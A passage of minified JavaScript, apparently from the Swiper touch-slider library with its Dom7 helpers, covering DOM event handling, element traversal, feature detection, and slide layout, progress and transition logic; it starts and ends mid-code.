l(e){var t=e.target;if(t){var i=e.target.dom7EventData||[];if(i.unshift(e),s(t).is(r))n.apply(t,i);else for(var a=s(t).parents(),o=0;o<a.length;o+=1)s(a[o]).is(r)&&n.apply(a[o],i)}}function d(e){var t=e&&e.target?e.target.dom7EventData||[]:[];t.unshift(e),n.apply(this,t)}"function"==typeof t[1]&&(a=(e=t)[0],n=e[1],o=e[2],r=void 0),o||(o=!1);for(var h,p=a.split(" "),c=0;c<this.length;c+=1){var u=this[c];if(r)for(h=0;h<p.length;h+=1)u.dom7LiveListeners||(u.dom7LiveListeners=[]),u.dom7LiveListeners.push({type:a,listener:n,proxyListener:l}),u.addEventListener(p[h],l,o);else for(h=0;h<p.length;h+=1)u.dom7Listeners||(u.dom7Listeners=[]),u.dom7Listeners.push({type:a,listener:n,proxyListener:d}),u.addEventListener(p[h],d,o)}return this},off:function(){for(var e,t=[],i=arguments.length;i--;)t[i]=arguments[i];var s=t[0],a=t[1],r=t[2],n=t[3];"function"==typeof t[1]&&(s=(e=t)[0],r=e[1],n=e[2],a=void 0),n||(n=!1);for(var o=s.split(" "),l=0;l<o.length;l+=1)for(var d=0;d<this.length;d+=1){var h=this[d];if(a){if(h.dom7LiveListeners)for(var p=0;p<h.dom7LiveListeners.length;p+=1)r?h.dom7LiveListeners[p].listener===r&&h.removeEventListener(o[l],h.dom7LiveListeners[p].proxyListener,n):h.dom7LiveListeners[p].type===o[l]&&h.removeEventListener(o[l],h.dom7LiveListeners[p].proxyListener,n)}else if(h.dom7Listeners)for(var c=0;c<h.dom7Listeners.length;c+=1)r?h.dom7Listeners[c].listener===r&&h.removeEventListener(o[l],h.dom7Listeners[c].proxyListener,n):h.dom7Listeners[c].type===o[l]&&h.removeEventListener(o[l],h.dom7Listeners[c].proxyListener,n)}return this},trigger:function(){for(var i=[],s=arguments.length;s--;)i[s]=arguments[s];for(var a=i[0].split(" "),r=i[1],n=0;n<a.length;n+=1)for(var o=0;o<this.length;o+=1){var l=void 0;try{l=new t.CustomEvent(a[n],{detail:r,bubbles:!0,cancelable:!0})}catch(t){(l=e.createEvent("Event")).initEvent(a[n],!0,!0),l.detail=r}this[o].dom7EventData=i.filter(function(e,t){return t>0}),this[o].dispatchEvent(l),this[o].dom7EventData=[],delete this[o].dom7EventData}return this},transitionEnd:function(e){var t,i=["webkitTransitionEnd","transitionend"],s=this;function a(r){if(r.target===this)for(e.call(this,r),t=0;t<i.length;t+=1)s.off(i[t],a)}if(e)for(t=0;t<i.length;t+=1)s.on(i[t],a);return this},outerWidth:function(e){if(this.length>0){if(e){var t=this.styles();return this[0].offsetWidth+parseFloat(t.getPropertyValue("margin-right"))+parseFloat(t.getPropertyValue("margin-left"))}return this[0].offsetWidth}return null},outerHeight:function(e){if(this.length>0){if(e){var t=this.styles();return this[0].offsetHeight+parseFloat(t.getPropertyValue("margin-top"))+parseFloat(t.getPropertyValue("margin-bottom"))}return this[0].offsetHeight}return null},offset:function(){if(this.length>0){var i=this[0],s=i.getBoundingClientRect(),a=e.body,r=i.clientTop||a.clientTop||0,n=i.clientLeft||a.clientLeft||0,o=i===t?t.scrollY:i.scrollTop,l=i===t?t.scrollX:i.scrollLeft;return{top:s.top+o-r,left:s.left+l-n}}return null},css:function(e,i){var s;if(1===arguments.length){if("string"!=typeof e){for(s=0;s<this.length;s+=1)for(var a in e)this[s].style[a]=e[a];return this}if(this[0])return t.getComputedStyle(this[0],null).getPropertyValue(e)}if(2===arguments.length&&"string"==typeof e){for(s=0;s<this.length;s+=1)this[s].style[e]=i;return this}return this},each:function(e){if(!e)return this;for(var t=0;t<this.length;t+=1)if(!1===e.call(this[t],t,this[t]))return this;return this},html:function(e){if(void 0===e)return this[0]?this[0].innerHTML:void 0;for(var t=0;t<this.length;t+=1)this[t].innerHTML=e;return this},text:function(e){if(void 0===e)return this[0]?this[0].textContent.trim():null;for(var t=0;t<this.length;t+=1)this[t].textContent=e;return this},is:function(a){var r,n,o=this[0];if(!o||void 0===a)return!1;if("string"==typeof a){if(o.matches)return o.matches(a);if(o.webkitMatchesSelector)return o.webkitMatchesSelector(a);if(o.msMatchesSelector)return o.msMatchesSelector(a);for(r=s(a),n=0;n<r.length;n+=1)if(r[n]===o)return!0;return!1}if(a===e)return o===e;if(a===t)return o===t;if(a.nodeType||a instanceof i){for(r=a.nodeType?[a]:a,n=0;n<r.length;n+=1)if(r[n]===o)return!0;return!1}return!1},index:function(){var e,t=this[0];if(t){for(e=0;null!==(t=t.previousSibling);)1===t.nodeType&&(e+=1);return e}},eq:function(e){if(void 0===e)return this;var t,s=this.length;return new i(e>s-1?[]:e<0?(t=s+e)<0?[]:[this[t]]:[this[e]])},append:function(){for(var t,s=[],a=arguments.length;a--;)s[a]=arguments[a];for(var r=0;r<s.length;r+=1){t=s[r];for(var n=0;n<this.length;n+=1)if("string"==typeof t){var o=e.createElement("div");for(o.innerHTML=t;o.firstChild;)this[n].appendChild(o.firstChild)}else if(t instanceof i)for(var l=0;l<t.length;l+=1)this[n].appendChild(t[l]);else this[n].appendChild(t)}return this},prepend:function(t){var s,a;for(s=0;s<this.length;s+=1)if("string"==typeof t){var r=e.createElement("div");for(r.innerHTML=t,a=r.childNodes.length-1;a>=0;a-=1)this[s].insertBefore(r.childNodes[a],this[s].childNodes[0])}else if(t instanceof i)for(a=0;a<t.length;a+=1)this[s].insertBefore(t[a],this[s].childNodes[0]);else this[s].insertBefore(t,this[s].childNodes[0]);return this},next:function(e){return this.length>0?e?this[0].nextElementSibling&&s(this[0].nextElementSibling).is(e)?new i([this[0].nextElementSibling]):new i([]):this[0].nextElementSibling?new i([this[0].nextElementSibling]):new i([]):new i([])},nextAll:function(e){var t=[],a=this[0];if(!a)return new i([]);for(;a.nextElementSibling;){var r=a.nextElementSibling;e?s(r).is(e)&&t.push(r):t.push(r),a=r}return new i(t)},prev:function(e){if(this.length>0){var t=this[0];return e?t.previousElementSibling&&s(t.previousElementSibling).is(e)?new i([t.previousElementSibling]):new i([]):t.previousElementSibling?new i([t.previousElementSibling]):new i([])}return new i([])},prevAll:function(e){var t=[],a=this[0];if(!a)return new i([]);for(;a.previousElementSibling;){var r=a.previousElementSibling;e?s(r).is(e)&&t.push(r):t.push(r),a=r}return new i(t)},parent:function(e){for(var t=[],i=0;i<this.length;i+=1)null!==this[i].parentNode&&(e?s(this[i].parentNode).is(e)&&t.push(this[i].parentNode):t.push(this[i].parentNode));return s(a(t))},parents:function(e){for(var t=[],i=0;i<this.length;i+=1)for(var r=this[i].parentNode;r;)e?s(r).is(e)&&t.push(r):t.push(r),r=r.parentNode;return s(a(t))},closest:function(e){var t=this;return void 0===e?new i([]):(t.is(e)||(t=t.parents(e).eq(0)),t)},find:function(e){for(var t=[],s=0;s<this.length;s+=1)for(var a=this[s].querySelectorAll(e),r=0;r<a.length;r+=1)t.push(a[r]);return new i(t)},children:function(e){for(var t=[],r=0;r<this.length;r+=1)for(var n=this[r].childNodes,o=0;o<n.length;o+=1)e?1===n[o].nodeType&&s(n[o]).is(e)&&t.push(n[o]):1===n[o].nodeType&&t.push(n[o]);return new i(a(t))},remove:function(){for(var e=0;e<this.length;e+=1)this[e].parentNode&&this[e].parentNode.removeChild(this[e]);return this},add:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];var i,a;for(i=0;i<e.length;i+=1){var r=s(e[i]);for(a=0;a<r.length;a+=1)this[this.length]=r[a],this.length+=1}return this},styles:function(){return this[0]?t.getComputedStyle(this[0],null):{}}};Object.keys(r).forEach(function(e){s.fn[e]=r[e]});var n,o,l,d={deleteProps:function(e){var t=e;Object.keys(t).forEach(function(e){try{t[e]=null}catch(e){}try{delete t[e]}catch(e){}})},nextTick:function(e,t){return void 0===t&&(t=0),setTimeout(e,t)},now:function(){return Date.now()},getTranslate:function(e,i){var s,a,r;void 0===i&&(i="x");var n=t.getComputedStyle(e,null);return t.WebKitCSSMatrix?((a=n.transform||n.webkitTransform).split(",").length>6&&(a=a.split(", ").map(function(e){return e.replace(",",".")}).join(", ")),r=new t.WebKitCSSMatrix("none"===a?"":a)):s=(r=n.MozTransform||n.OTransform||n.MsTransform||n.msTransform||n.transform||n.getPropertyValue("transform").replace("translate(","matrix(1, 0, 0, 1,")).toString().split(","),"x"===i&&(a=t.WebKitCSSMatrix?r.m41:16===s.length?parseFloat(s[12]):parseFloat(s[4])),"y"===i&&(a=t.WebKitCSSMatrix?r.m42:16===s.length?parseFloat(s[13]):parseFloat(s[5])),a||0},parseUrlQuery:function(e){var i,s,a,r,n={},o=e||t.location.href;if("string"==typeof o&&o.length)for(r=(s=(o=o.indexOf("?")>-1?o.replace(/\S*\?/,""):"").split("&").filter(function(e){return""!==e})).length,i=0;i<r;i+=1)a=s[i].replace(/#\S+/g,"").split("="),n[decodeURIComponent(a[0])]=void 0===a[1]?void 0:decodeURIComponent(a[1])||"";return n},isObject:function(e){return"object"==typeof e&&null!==e&&e.constructor&&e.constructor===Object},extend:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];for(var i=Object(e[0]),s=1;s<e.length;s+=1){var a=e[s];if(void 0!==a&&null!==a)for(var r=Object.keys(Object(a)),n=0,o=r.length;n<o;n+=1){var l=r[n],h=Object.getOwnPropertyDescriptor(a,l);void 0!==h&&h.enumerable&&(d.isObject(i[l])&&d.isObject(a[l])?d.extend(i[l],a[l]):!d.isObject(i[l])&&d.isObject(a[l])?(i[l]={},d.extend(i[l],a[l])):i[l]=a[l])}}return i}},h=(l=e.createElement("div"),{touch:t.Modernizr&&!0===t.Modernizr.touch||!!("ontouchstart"in t||t.DocumentTouch&&e instanceof t.DocumentTouch),pointerEvents:!(!t.navigator.pointerEnabled&&!t.PointerEvent),prefixedPointerEvents:!!t.navigator.msPointerEnabled,transition:(o=l.style,"transition"in o||"webkitTransition"in o||"MozTransition"in o),transforms3d:t.Modernizr&&!0===t.Modernizr.csstransforms3d||(n=l.style,"webkitPerspective"in n||"MozPerspective"in n||"OPerspective"in n||"MsPerspective"in n||"perspective"in n),flexbox:function(){for(var e=l.style,t="alignItems webkitAlignItems webkitBoxAlign msFlexAlign mozBoxAlign webkitFlexDirection msFlexDirection mozBoxDirection mozBoxOrient webkitBoxDirection webkitBoxOrient".split(" "),i=0;i<t.length;i+=1)if(t[i]in e)return!0;return!1}(),observer:"MutationObserver"in t||"WebkitMutationObserver"in t,passiveListener:function(){var e=!1;try{var i=Object.defineProperty({},"passive",{get:function(){e=!0}});t.addEventListener("testPassiveListener",null,i)}catch(e){}return e}(),gestures:"ongesturestart"in t}),p=function(e){void 0===e&&(e={});var t=this;t.params=e,t.eventsListeners={},t.params&&t.params.on&&Object.keys(t.params.on).forEach(function(e){t.on(e,t.params.on[e])})},c={components:{configurable:!0}};p.prototype.on=function(e,t,i){var s=this;if("function"!=typeof t)return s;var a=i?"unshift":"push";return e.split(" ").forEach(function(e){s.eventsListeners[e]||(s.eventsListeners[e]=[]),s.eventsListeners[e][a](t)}),s},p.prototype.once=function(e,t,i){var s=this;if("function"!=typeof t)return s;return s.on(e,function i(){for(var a=[],r=arguments.length;r--;)a[r]=arguments[r];t.apply(s,a),s.off(e,i)},i)},p.prototype.off=function(e,t){var i=this;return i.eventsListeners?(e.split(" ").forEach(function(e){void 0===t?i.eventsListeners[e]=[]:i.eventsListeners[e].forEach(function(s,a){s===t&&i.eventsListeners[e].splice(a,1)})}),i):i},p.prototype.emit=function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];var i,s,a,r=this;return r.eventsListeners?("string"==typeof e[0]||Array.isArray(e[0])?(i=e[0],s=e.slice(1,e.length),a=r):(i=e[0].events,s=e[0].data,a=e[0].context||r),(Array.isArray(i)?i:i.split(" ")).forEach(function(e){if(r.eventsListeners&&r.eventsListeners[e]){var t=[];r.eventsListeners[e].forEach(function(e){t.push(e)}),t.forEach(function(e){e.apply(a,s)})}}),r):r},p.prototype.useModulesParams=function(e){var t=this;t.modules&&Object.keys(t.modules).forEach(function(i){var s=t.modules[i];s.params&&d.extend(e,s.params)})},p.prototype.useModules=function(e){void 0===e&&(e={});var t=this;t.modules&&Object.keys(t.modules).forEach(function(i){var s=t.modules[i],a=e[i]||{};s.instance&&Object.keys(s.instance).forEach(function(e){var i=s.instance[e];t[e]="function"==typeof i?i.bind(t):i}),s.on&&t.on&&Object.keys(s.on).forEach(function(e){t.on(e,s.on[e])}),s.create&&s.create.bind(t)(a)})},c.components.set=function(e){this.use&&this.use(e)},p.installModule=function(e){for(var t=[],i=arguments.length-1;i-- >0;)t[i]=arguments[i+1];var s=this;s.prototype.modules||(s.prototype.modules={});var a=e.name||Object.keys(s.prototype.modules).length+"_"+d.now();return s.prototype.modules[a]=e,e.proto&&Object.keys(e.proto).forEach(function(t){s.prototype[t]=e.proto[t]}),e.static&&Object.keys(e.static).forEach(function(t){s[t]=e.static[t]}),e.install&&e.install.apply(s,t),s},p.use=function(e){for(var t=[],i=arguments.length-1;i-- >0;)t[i]=arguments[i+1];var s=this;return Array.isArray(e)?(e.forEach(function(e){return s.installModule(e)}),s):s.installModule.apply(s,[e].concat(t))},Object.defineProperties(p,c);var u={updateSize:function(){var e,t,i=this.$el;e=void 0!==this.params.width?this.params.width:i[0].clientWidth,t=void 0!==this.params.height?this.params.height:i[0].clientHeight,0===e&&this.isHorizontal()||0===t&&this.isVertical()||(e=e-parseInt(i.css("padding-left"),10)-parseInt(i.css("padding-right"),10),t=t-parseInt(i.css("padding-top"),10)-parseInt(i.css("padding-bottom"),10),d.extend(this,{width:e,height:t,size:this.isHorizontal()?e:t}))},updateSlides:function(){var e=this.params,i=this.$wrapperEl,s=this.size,a=this.rtlTranslate,r=this.wrongRTL,n=i.children("."+this.params.slideClass),o=this.virtual&&e.virtual.enabled?this.virtual.slides.length:n.length,l=[],p=[],c=[],u=e.slidesOffsetBefore;"function"==typeof u&&(u=e.slidesOffsetBefore.call(this));var v=e.slidesOffsetAfter;"function"==typeof v&&(v=e.slidesOffsetAfter.call(this));var f=o,m=this.snapGrid.length,g=this.snapGrid.length,b=e.spaceBetween,w=-u,y=0,x=0;if(void 0!==s){var E,T;"string"==typeof b&&b.indexOf("%")>=0&&(b=parseFloat(b.replace("%",""))/100*s),this.virtualSize=-b,a?n.css({marginLeft:"",marginTop:""}):n.css({marginRight:"",marginBottom:""}),e.slidesPerColumn>1&&(E=Math.floor(o/e.slidesPerColumn)===o/this.params.slidesPerColumn?o:Math.ceil(o/e.slidesPerColumn)*e.slidesPerColumn,"auto"!==e.slidesPerView&&"row"===e.slidesPerColumnFill&&(E=Math.max(E,e.slidesPerView*e.slidesPerColumn)));for(var S,C=e.slidesPerColumn,M=E/C,z=M-(e.slidesPerColumn*M-o),k=0;k<o;k+=1){T=0;var P=n.eq(k);if(e.slidesPerColumn>1){var $=void 0,L=void 0,I=void 0;"column"===e.slidesPerColumnFill?(I=k-(L=Math.floor(k/C))*C,(L>z||L===z&&I===C-1)&&(I+=1)>=C&&(I=0,L+=1),$=L+I*E/C,P.css({"-webkit-box-ordinal-group":$,"-moz-box-ordinal-group":$,"-ms-flex-order":$,"-webkit-order":$,order:$})):L=k-(I=Math.floor(k/M))*M,P.css("margin-"+(this.isHorizontal()?"top":"left"),0!==I&&e.spaceBetween&&e.spaceBetween+"px").attr("data-swiper-column",L).attr("data-swiper-row",I)}if("none"!==P.css("display")){if("auto"===e.slidesPerView){var D=t.getComputedStyle(P[0],null);T=this.isHorizontal()?P[0].getBoundingClientRect().width+parseFloat(D.getPropertyValue("margin-left"))+parseFloat(D.getPropertyValue("margin-right")):P[0].getBoundingClientRect().height+parseFloat(D.getPropertyValue("margin-top"))+parseFloat(D.getPropertyValue("margin-bottom")),e.roundLengths&&(T=Math.floor(T))}else T=(s-(e.slidesPerView-1)*b)/e.slidesPerView,e.roundLengths&&(T=Math.floor(T)),n[k]&&(this.isHorizontal()?n[k].style.width=T+"px":n[k].style.height=T+"px");n[k]&&(n[k].swiperSlideSize=T),c.push(T),e.centeredSlides?(w=w+T/2+y/2+b,0===y&&0!==k&&(w=w-s/2-b),0===k&&(w=w-s/2-b),Math.abs(w)<.001&&(w=0),x%e.slidesPerGroup==0&&l.push(w),p.push(w)):(x%e.slidesPerGroup==0&&l.push(w),p.push(w),w=w+T+b),this.virtualSize+=T+b,y=T,x+=1}}if(this.virtualSize=Math.max(this.virtualSize,s)+v,a&&r&&("slide"===e.effect||"coverflow"===e.effect)&&i.css({width:this.virtualSize+e.spaceBetween+"px"}),h.flexbox&&!e.setWrapperSize||(this.isHorizontal()?i.css({width:this.virtualSize+e.spaceBetween+"px"}):i.css({height:this.virtualSize+e.spaceBetween+"px"})),e.slidesPerColumn>1&&(this.virtualSize=(T+e.spaceBetween)*E,this.virtualSize=Math.ceil(this.virtualSize/e.slidesPerColumn)-e.spaceBetween,this.isHorizontal()?i.css({width:this.virtualSize+e.spaceBetween+"px"}):i.css({height:this.virtualSize+e.spaceBetween+"px"}),e.centeredSlides)){S=[];for(var O=0;O<l.length;O+=1)l[O]<this.virtualSize+l[0]&&S.push(l[O]);l=S}if(!e.centeredSlides){S=[];for(var A=0;A<l.length;A+=1)l[A]<=this.virtualSize-s&&S.push(l[A]);l=S,Math.floor(this.virtualSize-s)-Math.floor(l[l.length-1])>1&&l.push(this.virtualSize-s)}0===l.length&&(l=[0]),0!==e.spaceBetween&&(this.isHorizontal()?a?n.css({marginLeft:b+"px"}):n.css({marginRight:b+"px"}):n.css({marginBottom:b+"px"})),d.extend(this,{slides:n,snapGrid:l,slidesGrid:p,slidesSizesGrid:c}),o!==f&&this.emit("slidesLengthChange"),l.length!==m&&(this.params.watchOverflow&&this.checkOverflow(),this.emit("snapGridLengthChange")),p.length!==g&&this.emit("slidesGridLengthChange"),(e.watchSlidesProgress||e.watchSlidesVisibility)&&this.updateSlidesOffset()}},updateAutoHeight:function(e){var t,i=[],s=0;if("number"==typeof e?this.setTransition(e):!0===e&&this.setTransition(this.params.speed),"auto"!==this.params.slidesPerView&&this.params.slidesPerView>1)for(t=0;t<Math.ceil(this.params.slidesPerView);t+=1){var a=this.activeIndex+t;if(a>this.slides.length)break;i.push(this.slides.eq(a)[0])}else i.push(this.slides.eq(this.activeIndex)[0]);for(t=0;t<i.length;t+=1)if(void 0!==i[t]){var r=i[t].offsetHeight;s=r>s?r:s}s&&this.$wrapperEl.css("height",s+"px")},updateSlidesOffset:function(){for(var e=this.slides,t=0;t<e.length;t+=1)e[t].swiperSlideOffset=this.isHorizontal()?e[t].offsetLeft:e[t].offsetTop},updateSlidesProgress:function(e){void 0===e&&(e=this.translate||0);var t=this.params,i=this.slides,s=this.rtlTranslate;if(0!==i.length){void 0===i[0].swiperSlideOffset&&this.updateSlidesOffset();var a=-e;s&&(a=e),i.removeClass(t.slideVisibleClass);for(var r=0;r<i.length;r+=1){var n=i[r],o=(a+(t.centeredSlides?this.minTranslate():0)-n.swiperSlideOffset)/(n.swiperSlideSize+t.spaceBetween);if(t.watchSlidesVisibility){var l=-(a-n.swiperSlideOffset),d=l+this.slidesSizesGrid[r];(l>=0&&l<this.size||d>0&&d<=this.size||l<=0&&d>=this.size)&&i.eq(r).addClass(t.slideVisibleClass)}n.progress=s?-o:o}}},updateProgress:function(e){void 0===e&&(e=this.translate||0);var t=this.params,i=this.maxTranslate()-this.minTranslate(),s=this.progress,a=this.isBeginning,r=this.isEnd,n=a,o=r;0===i?(s=0,a=!0,r=!0):(a=(s=(e-this.minTranslate())/i)<=0,r=s>=1),d.extend(this,{progress:s,isBeginning:a,isEnd:r}),(t.watchSlidesProgress||t.watchSlidesVisibility)&&this.updateSlidesProgress(e),a&&!n&&this.emit("reachBeginning toEdge"),r&&!o&&this.emit("reachEnd toEdge"),(n&&!a||o&&!r)&&this.emit("fromEdge"),this.emit("progress",s)},updateSlidesClasses:function(){var e,t=this.slides,i=this.params,s=this.$wrapperEl,a=this.activeIndex,r=this.realIndex,n=this.virtual&&i.virtual.enabled;t.removeClass(i.slideActiveClass+" "+i.slideNextClass+" "+i.slidePrevClass+" "+i.slideDuplicateActiveClass+" "+i.slideDuplicateNextClass+" "+i.slideDuplicatePrevClass),(e=n?this.$wrapperEl.find("."+i.slideClass+'[data-swiper-slide-index="'+a+'"]'):t.eq(a)).addClass(i.slideActiveClass),i.loop&&(e.hasClass(i.slideDuplicateClass)?s.children("."+i.slideClass+":not(."+i.slideDuplicateClass+')[data-swiper-slide-index="'+r+'"]').addClass(i.slideDuplicateActiveClass):s.children("."+i.slideClass+"."+i.slideDuplicateClass+'[data-swiper-slide-index="'+r+'"]').addClass(i.slideDuplicateActiveClass));var o=e.nextAll("."+i.slideClass).eq(0).addClass(i.slideNextClass);i.loop&&0===o.length&&(o=t.eq(0)).addClass(i.slideNextClass);var l=e.prevAll("."+i.slideClass).eq(0).addClass(i.slidePrevClass);i.loop&&0===l.length&&(l=t.eq(-1)).addClass(i.slidePrevClass),i.loop&&(o.hasClass(i.slideDuplicateClass)?s.children("."+i.slideClass+":not(."+i.slideDuplicateClass+')[data-swiper-slide-index="'+o.attr("data-swiper-slide-index")+'"]').addClass(i.slideDuplicateNextClass):s.children("."+i.slideClass+"."+i.slideDuplicateClass+'[data-swiper-slide-index="'+o.attr("data-swiper-slide-index")+'"]').addClass(i.slideDuplicateNextClass),l.hasClass(i.slideDuplicateClass)?s.children("."+i.slideClass+":not(."+i.slideDuplicateClass+')[data-swiper-slide-index="'+l.attr("data-swiper-slide-index")+'"]').addClass(i.slideDuplicatePrevClass):s.children("."+i.slideClass+"."+i.slideDuplicateClass+'[data-swiper-slide-index="'+l.attr("data-swiper-slide-index")+'"]').addClass(i.slideDuplicatePrevClass))},updateActiveIndex:function(e){var t,i=this.rtlTranslate?this.translate:-this.translate,s=this.slidesGrid,a=this.snapGrid,r=this.params,n=this.activeIndex,o=this.realIndex,l=this.snapIndex,h=e;if(void 0===h){for(var p=0;p<s.length;p+=1)void 0!==s[p+1]?i>=s[p]&&i<s[p+1]-(s[p+1]-s[p])/2?h=p:i>=s[p]&&i<s[p+1]&&(h=p+1):i>=s[p]&&(h=p);r.normalizeSlideIndex&&(h<0||void 0===h)&&(h=0)}if((t=a.indexOf(i)>=0?a.indexOf(i):Math.floor(h/r.slidesPerGroup))>=a.length&&(t=a.length-1),h!==n){var c=parseInt(this.slides.eq(h).attr("data-swiper-slide-index")||h,10);d.extend(this,{snapIndex:t,realIndex:c,previousIndex:n,activeIndex:h}),this.emit("activeIndexChange"),this.emit("snapIndexChange"),o!==c&&this.emit("realIndexChange"),this.emit("slideChange")}else t!==l&&(this.snapIndex=t,this.emit("snapIndexChange"))},updateClickedSlide:function(e){var t=this.params,i=s(e.target).closest("."+t.slideClass)[0],a=!1;if(i)for(var r=0;r<this.slides.length;r+=1)this.slides[r]===i&&(a=!0);if(!i||!a)return this.clickedSlide=void 0,void(this.clickedIndex=void 0);this.clickedSlide=i,this.virtual&&this.params.virtual.enabled?this.clickedIndex=parseInt(s(i).attr("data-swiper-slide-index"),10):this.clickedIndex=s(i).index(),t.slideToClickedSlide&&void 0!==this.clickedIndex&&this.clickedIndex!==this.activeIndex&&this.slideToClickedSlide()}};var v={getTranslate:function(e){void 0===e&&(e=this.isHorizontal()?"x":"y");var t=this.params,i=this.rtlTranslate,s=this.translate,a=this.$wrapperEl;if(t.virtualTranslate)return i?-s:s;var r=d.getTranslate(a[0],e);return i&&(r=-r),r||0},setTranslate:function(e,t){var i=this.rtlTranslate,s=this.params,a=this.$wrapperEl,r=this.progress,n=0,o=0;this.isHorizontal()?n=i?-e:e:o=e,s.roundLengths&&(n=Math.floor(n),o=Math.floor(o)),s.virtualTranslate||(h.transforms3d?a.transform("translate3d("+n+"px, "+o+"px, 0px)"):a.transform("translate("+n+"px, "+o+"px)")),this.translate=this.isHorizontal()?n:o;var l=this.maxTranslate()-this.minTranslate();(0===l?0:(e-this.minTranslate())/l)!==r&&this.updateProgress(e),this.emit("setTranslate",this.translate,t)},minTranslate:function(){return-this.snapGrid[0]},maxTranslate:function(){return-this.snapGrid[this.snapGrid.length-1]}};var f={setTransition:function(e,t){this.$wrapperEl.transition(e),this.emit("setTransition",e,t)},transitionStart:function(e,t){void 0===e&&(e=!0);var i=this.activeIndex,s=this.params,a=this.previousIndex;s.autoHeight&&this.updateAutoHeight();var r=t;if(r||(r=i>a?"next":i<a?"prev":"reset"),this.emit("transitionStart"),e&&i!==a){if("reset"===r)return void this.emit("slideResetTransitionStart");this.emit("slideChangeTransitionStart"),"next"===r?this.emit("slideNextTransitionStart"):this.emit("slidePrevTransitionStart")}},transitionEnd:function(e,t){void 0===e&&(e=!0);var i=this.activeIndex,s=this.previousIndex;this.animating=!1,this.setTransition(0);var a=t;if(a||(a=i>s?"next":i<s?"prev":"reset"),this.emit("transitionEnd"),e&&i!==s){if("reset"===a)return void this.emit("slideResetTransitionEnd");this.emit("slideChangeTransitionEnd"),"next"===a?this.emit("slideNextTransitionEnd"):this.emit("slidePrevTransitionEnd")}}};var m={slideTo:function(e,t,i,s){void 0===e&&(e=0),void 0===t&&(t=this.params.speed),void 0===i&&(i=!0);var a=this,r=e;r<0&&(r=0);var n=a.params,o=a.snapGrid,l=a.slidesGrid,d=a.previousIndex,p=a.activeIndex,c=a.rtlTranslate,u=a.$wrapperEl;if(a.animating&&n.preventIntercationOnTransition)return!1;var v=Math.floor(r/n.slidesPerGroup);v>=o.length&&(v=o.length-1),(p||n.initialSlide||0)===(d||0)&&i&&a.emit("beforeSlideChangeStart");var f,m=-o[v];if(a.updateProgress(m),n.normalizeSlideIndex)for(var g=0;g<l.length;g+=1)-Math.floor(100*m)>=Math.floor(100*l[g])&&(r=g);if(a.initialized&&r!==p){if(!a.allowSlideNext&&m<a.translate&&m<a.minTranslate())return!1;if(!a.allowSlidePrev&&m>a.translate&&m>a.maxTranslate()&&(p||0)!==r)return!1}return f=r>p?"next":r<p?"prev":"reset",c&&-m===a.translate||!c&&m===a.translate?(a.updateActiveIndex(r),n.autoHeight&&a.updateAutoHeight(),a.updateSlidesClasses(),"slide"!==n.effect&&a.setTranslate(m),"reset"!==f&&(a.transitionStart(i,f),a.transitionEnd(i,f)),!1):(0!==t&&h.transition?(a.setTransition(t),a.setTranslate(m),a.updateActiveIndex(r),a.updateSlidesClasses(),a.emit("beforeTransitionStart",t,s),a.transitionStart(i,f),a.animating||(a.animating=!0,u.transitionEnd(function(){a&&!a.destroyed&&a.transitionEnd(i,f)}))):(a.setTransition(0),a.setTranslate(m),a.updateActiveIndex(r),a.updateSlidesClasses(),a.emit("beforeTransitionStart",t,s),a.transitionStart(i,f),a.transitionEnd(i,f)),!0)},slideToLoop:function(e,t,i,s){void 0===e&&(e=0),void 0===t&&(t=this.params.speed),void 0===i&&(i=!0);var a=e;return this.params.loop&&(a+=this.loopedSlides),this.slideTo(a,t,i,s)},slideNext:function(e,t,i){void 0===e&&(e=this.params.speed),void 0===t&&(t=!0);var s=this.params,a=this.animating;return s.loop?!a&&(this.loopFix(),this._clientLeft=this.$wrapperEl[0].clientLeft,this.slideTo(this.activeIndex+s.slidesPerGroup,e,t,i)):this.slideTo(this.activeIndex+s.slidesPerGroup,e,t,i)},slidePrev:function(e,t,i){void 0===e&&(e=this.params.speed),void 0===t&&(t=!0);var s=this.params,a=this.animating,r=this.snapGrid,n=this.slidesGrid,o=this.rtlTranslate;if(s.loop){if(a)return!1;this.loopFix(),this._clientLeft=this.$wrapperEl[0].clientLeft}var l,d=o?this.translate:-this.translate,h=(r[r.indexOf(d)],r[r.indexOf(d)-1]);return h&&(l=n.indexOf(h))<0&&(l=this.activeIndex-1),this.slideTo(l,e,t,i)},slideReset:function(e,t,i){return void 0===e&&(e=this.params.speed),void 0===t&&(t=!0),this.slideTo(this.activeIndex,e,t,i)},slideToClosest:function(e,t,i){void 0===e&&(e=this.params.speed),void 0===t&&(t=!0);var s=this.activeIndex,a=Math.floor(s/this.params.slidesPerGroup);if(a<this.snapGrid.length-1){var r=this.rtlTranslate?this.translate:-this.translate,n=this.snapGrid[a];r-n>(this.snapGrid[a+1]-n)/2&&(s=this.params.slidesPerGroup)}return this.slideTo(s,e,t,i)},slideToClickedSlide:function(){var e,t=this,i=t.params,a=t.$wrapperEl,r="auto"===i.slidesPerView?t.slidesPerViewDynamic():i.slidesPerView,n=t.clickedIndex;if(i.loop){if(t.animating)return;e=parseInt(s(t.clickedSlide).attr("data-swiper-slide-index"),10),i.centeredSlides?n<t.loopedSlides-r/2||n>t.slides.length-t.loopedSlides+r/2?(t.loopFix(),n=a.children("."+i.slideClass+'[data-swiper-slide-index="'+e+'"]:not(.'+i.slideDuplicateClass+")").eq(0).index(),d.nextTick(function(){t.slideTo(n)})):t.slideTo(n):n>t.slides.length-r?(t.loopFix(),n=a.children("."+i.slideClass+'[data-swiper-slide-index="'+e+'"]:not(.'+i.slideDuplicateClass+")").eq(0).index(),d.nextTick(function(){t.slideTo(n)})):t.slideTo(n)}else t.slideTo(n)}};var g={loopCreate:function(){var t=this,i=t.params,a=t.$wrapperEl;a.children("."+i.slideClass+"."+i.slideDuplicateClass).remove();var r=a.children("."+i.slideClass);if(i.loopFillGroupWithBlank){var n=i.slidesPerGroup-r.length%i.slidesPerGroup;if(n!==i.slidesPerGroup){for(var o=0;o<n;o+=1){var l=s(e.createElement("div")).addClass(i.slideClass+" "+i.slideBlankClass);a.append(l)}r=a.children("."+i.slideClass)}}"auto"!==i.slidesPerView||i.loopedSlides||(i.loopedSlides=r.length),t.loopedSlides=parseInt(i.loopedSlides||i.slidesPerView,10),t.loopedSlides+=i.loopAdditionalSlides,t.loopedSlides>r.length&&(t.loopedSlides=r.length);var d=[],h=[];r.each(function(e,i){var 